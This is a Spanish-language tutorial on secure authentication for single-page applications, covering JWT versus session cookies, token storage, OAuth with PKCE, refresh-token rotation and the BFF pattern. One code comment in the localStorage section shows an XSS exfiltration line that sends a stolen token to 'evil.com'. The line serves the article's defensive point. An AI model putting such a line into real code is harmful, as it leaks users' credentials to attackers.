El reto de la autenticación en SPAs

Las Single Page Applications tienen un desafio único: el frontend es completamente público. No hay sesiones del servidor que gestionen el estado de autenticación de forma nativa. Todo lo que esta en el navegador es potencialmente accesible para un atacante.

Este articulo te guia a través de las opciones de autenticación, sus trade-offs y como implementarlas de forma segura.

JWT vs Cookies de sesión

Cookies de sesión (server-side)

El enfoque tradicional: el servidor genera un ID de sesión, lo almacena en una base de datos y lo envia al cliente como cookie HttpOnly.

Ventajas:

  • El token no es accesible desde JavaScript (HttpOnly)
  • El servidor puede invalidar sesiones instantaneamente
  • Menor superficie de ataque en el frontend

Desventajas:

  • Requiere almacenamiento de sesiones en el servidor
  • Más difícil de escalar horizontalmente
  • Vulnerable a CSRF (necesita protección adicional)

JWT (JSON Web Tokens)

Un token autofirmado que contiene los datos del usuario y una firma criptografica.

Ventajas:

  • Stateless: el servidor no necesita almacenar sesiones
  • Fácil de usar entre multiples servicios
  • Contiene información del usuario sin consultar la DB

Desventajas:

  • No se puede invalidar antes de la expiracion (sin infraestructura adicional)
  • Si se roba, el atacante tiene acceso hasta que expire
  • Donde almacenarlo de forma segura en el frontend?

La respuesta: depende del contexto

Escenario Recomendacion
App monolitica con backend propio Cookies de sesión
Multiples microservicios JWT con refresh tokens
App con proveedor de auth externo OAuth 2.0 + PKCE
Maximo nivel de seguridad BFF (Backend for Frontend) pattern

Dónde almacenar tokens en el frontend

Esta es una de las decisiones más críticas de seguridad en SPAs.

localStorage: NO recomendado para tokens

// INSEGURO: accesible por cualquier script (XSS)
localStorage.setItem('access_token', token);

// Si hay UNA sola vulnerabilidad XSS en tu app o en
// cualquier dependencia, el atacante puede hacer:
// const token = localStorage.getItem('access_token');
// fetch('https://evil.com/steal', { body: token });

Cookies HttpOnly: la opcion más segura

// El backend establece la cookie - el frontend NO la toca
// Set-Cookie: access_token=xyz; HttpOnly; Secure; SameSite=Strict; Path=/api

// El frontend simplemente hace peticiones y la cookie se envia automaticamente
async function fetchProtectedData(): Promise<unknown> {
  const response = await fetch('/api/protected-resource', {
    credentials: 'include' // Incluir cookies en la petición
  });

  if (response.status === 401) {
    // Redirigir a login
    window.location.href = '/login';
    return null;
  }

  return response.json();
}

En memoria: buena alternativa

// Almacenar token solo en memoria (variable)
// Se pierde al cerrar la pestana (intencionalmente)
class AuthState {
  private accessToken: string | null = null;

  setToken(token: string): void {
    this.accessToken = token;
  }

  getToken(): string | null {
    return this.accessToken;
  }

  clearToken(): void {
    this.accessToken = null;
  }
}

// Usar refresh token (en cookie HttpOnly) para obtener
// un nuevo access token cuando se recarga la página

OAuth 2.0 con PKCE para SPAs

PKCE (Proof Key for Code Exchange) es la extensión de seguridad obligatoria para OAuth en aplicaciones publicas como SPAs.

Por qué PKCE?

Sin PKCE, el flujo de autorización es vulnerable a interceptacion del authorization code. PKCE agrega un secreto temporal que solo tu aplicación conoce.

Flujo completo

  1. Generar code_verifier: Un string aleatorio criptografico
  2. Calcular code_challenge: Hash SHA-256 del verifier
  3. Redirigir al proveedor: Con el challenge (no el verifier)
  4. Recibir el code: El proveedor redirige de vuelta con un authorization code
  5. Intercambiar por tokens: Enviar el code + verifier al token endpoint
  6. Validar: El servidor de auth verifica que el challenge coincida con el verifier

Manejar el callback

// Callback: intercambiar el code por tokens
async function handleAuthCallback(): Promise<void> {
  const params = new URLSearchParams(window.location.search);
  const code = params.get('code');
  const state = params.get('state');

  if (!code) {
    throw new Error('No se recibio authorization code');
  }

  // Verificar state para prevenir CSRF
  const savedState = sessionStorage.getItem('oauth_state');
  if (state !== savedState) {
    throw new Error('State no coincide - posible ataque CSRF');
  }

  const verifier = sessionStorage.getItem('pkce_verifier');
  if (!verifier) {
    throw new Error('No se encontro PKCE verifier');
  }

  // Intercambiar code por tokens
  const response = await fetch('https://auth.provider.com/token', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      grant_type: 'authorization_code',
      code,
      redirect_uri: 'https://tusitio.com/callback',
      client_id: 'tu-client-id',
      code_verifier: verifier
    })
  });

  const tokens = await response.json();

  // Limpiar datos temporales
  sessionStorage.removeItem('pkce_verifier');
  sessionStorage.removeItem('oauth_state');

  // Almacenar tokens de forma segura
  // Idealmente, enviar al backend que los ponga en cookies HttpOnly
  await fetch('/api/auth/session', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ tokens }),
    credentials: 'include'
  });
}

Refresh tokens: manteniendo la sesión

Los access tokens deben tener una vida corta (5-15 minutos). Los refresh tokens permiten obtener nuevos access tokens sin pedir al usuario que se autentique de nuevo.

Rotacion de refresh tokens

// Implementar refresh token rotation
async function refreshAccessToken(): Promise<string | null> {
  const response = await fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include' // El refresh token esta en una cookie HttpOnly
  });

  if (!response.ok) {
    // Refresh token invalido o expirado -> cerrar sesión
    window.location.href = '/login';
    return null;
  }

  const data = await response.json();
  return data.access_token;
}

// Interceptor para renovar automaticamente
async function authenticatedFetch(
  url: string,
  options: RequestInit = {}
): Promise<Response> {
  let response = await fetch(url, {
    ...options,
    credentials: 'include'
  });

  if (response.status === 401) {
    const newToken = await refreshAccessToken();

    if (newToken) {
      response = await fetch(url, {
        ...options,
        credentials: 'include'
      });
    }
  }

  return response;
}

Patron BFF (Backend for Frontend)

El patrón BFF es la arquitectura más segura para autenticación en SPAs. Tu backend actua como intermediario entre la SPA y el proveedor de autenticación.

Ventajas del BFF

  • Los tokens nunca llegan al frontend
  • El backend maneja toda la lógica de auth
  • Las cookies HttpOnly protegen la sesión
  • Simplifica el código del frontend

Flujo

SPA  -->  BFF (tu backend)  -->  Auth Provider
 ^              |
 |     cookies HttpOnly
 |     (session management)
 +-----------------------------+
// En el frontend, la autenticación es simple
async function login(): Promise<void> {
  // Redirigir al endpoint de login del BFF
  window.location.href = '/api/auth/login';
  // El BFF maneja todo el flujo OAuth internamente
}

async function logout(): Promise<void> {
  await fetch('/api/auth/logout', {
    method: 'POST',
    credentials: 'include'
  });
  window.location.href = '/';
}

async function getUser(): Promise<UserProfile | null> {
  const response = await fetch('/api/auth/me', {
    credentials: 'include'
  });

  if (!response.ok) return null;
  return response.json();
}

interface UserProfile {
  id: string;
  email: string;
  name: string;
  avatar: string;
}

Errores críticos que debes evitar

1. No verificar la firma del JWT

Nunca confies en un JWT sin verificar su firma en el backend. Decodificar no es verificar.

2. Expiracion demasiado larga

Un JWT con expiracion de 7 dias es casi tan malo como uno sin expiracion. Usa 5-15 minutos para access tokens.

3. Almacenar datos sensibles en el JWT

El payload del JWT no esta cifrado, solo codificado en Base64. Cualquiera puede leerlo.

// NO pongas esto en un JWT:
// - Passwords
// - Datos de tarjetas de credito
// - Informacion medica
// - Cualquier dato personal sensible

// SI puedes incluir:
// - ID del usuario (sub)
// - Email
// - Roles/permisos
// - Timestamp de emision y expiracion

4. No implementar logout real

Con JWT stateless, "logout" en el frontend (borrar el token) no invalida el token. Implementa una blacklist o usa tokens de vida corta.

5. Confiar en el frontend para verificar permisos

// INSEGURO: verificar solo en el frontend
if (user.role === 'admin') {
  showAdminPanel();
}

// El backend SIEMPRE debe verificar permisos en cada petición
// El frontend solo decide que mostrar (UX), no que permitir (seguridad)

Checklist de autenticación segura

  • Tokens almacenados en cookies HttpOnly o en memoria
  • Access tokens con expiracion corta (5-15 min)
  • Refresh token rotation implementada
  • PKCE habilitado para flujos OAuth
  • State parameter para prevenir CSRF en OAuth
  • Verificacion de firma JWT en el backend
  • Rate limiting en endpoints de login
  • Logging de eventos de autenticación
  • HTTPS obligatorio en toda la aplicación
  • CORS configurado restrictivamente

Conclusion

La autenticación en SPAs requiere un enfoque cuidadoso porque el frontend es terreno hostil. No existe una solucion perfecta, pero combinar OAuth 2.0 con PKCE, tokens de vida corta, cookies HttpOnly y el patrón BFF te da una base solida.

Recuerda: la autenticación en el frontend es solo UX. La seguridad real siempre vive en el backend.